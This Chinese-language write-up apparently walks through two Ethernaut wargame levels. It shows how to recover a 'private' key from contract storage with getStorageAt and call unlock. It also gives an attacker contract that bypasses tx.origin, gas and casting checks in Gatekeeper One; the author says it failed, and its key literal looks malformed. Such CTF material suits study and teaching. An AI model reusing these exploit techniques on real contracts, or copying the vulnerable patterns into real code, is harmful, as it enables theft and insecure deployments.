Ethernaut(11-12)


level12 Privacy

1
2
3
4
5
6
7
8
The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
Understanding how storage works
Understanding how parameter parsing works
Understanding how casting works
Tips:
Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.18;

contract Privacy {

bool public locked = true;//1B
uint256 public constant ID = block.timestamp;//32B为const故不会保存在storage
uint8 private flattening = 10;//1B
uint8 private denomination = 255;//1B
uint16 private awkwardness = uint16(now);//2B
bytes32[3] private data;//96B

function Privacy(bytes32[3] _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

在evm中,存储为32个字节一组,不足的补齐至32字节。且未满32字节的变量会在一起凑一个32字节。
从web3.eth.getStorageAt(instance,4,function(x,y,z){alert(y)})读取出来0-4的数据

1
2
3
4
5
0x00000000000000000000000000000000000000000000000000000089eaff0a01
0x8f7a8d739fa53eda3b68408f38fe7afc3492a0e54e088afbced210dc2ce7dd27
0xdb00be00ed1f269962efc6f4b926bb64507c2265edbbec661eef0f7a4bf5a0d1
0xf4acdbe3635e93d855d8dfc0b660376964f86ff60abab9511d695a3c65a625c6
0x0000000000000000000000000000000000000000000000000000000000000000

第一行转为二进制

1
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 10001001 11101010 11111111 00001010 00000001

从后往前,00000001为lock,00001010为flattening,11111111为denomination,10001001 11101010为awkwardness
那由于该死的大小端问题,data[2]应该为0xf4acdbe3635e93d855d8dfc0b660376964f86ff60abab9511d695a3c65a625c6
bytes16(data[2])就应该是0xf4acdbe3635e93d855d8dfc0b6603769

1
contract.unlock("0xf4acdbe3635e93d855d8dfc0b6603769")

level13 Gatekeeper One

1
2
3
4
Make it past the gatekeeper and register as an entrant to pass this level.
Things that might help:
Remember what you've learned from the Telephone and Token levels.
You can learn more about the msg.gas special variable, or its preferred alias gasleft(), in Solidity's documentation (see here and here).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

我寻思这代码也没问题,就是过不去……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
contract ybnnb{
address public owner;
address public target;

GatekeeperOne public demo;
function ybnnb() public payable{
owner = msg.sender;
}

function init(address _addr) public payable{
target = _addr;
demo = GatekeeperOne(target);
}

function attack() public{
bytes8 key = bytes8(0xea063b05fca2bec3d11f651700007819) ;
demo.enter.gas(81910)(key);
}
function destory() public{
selfdestruct(owner);
}
}

用智能合约中转,过gateOne,发送gas是8191倍数过gateTwo,取tx.origin与0xFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF,取32位。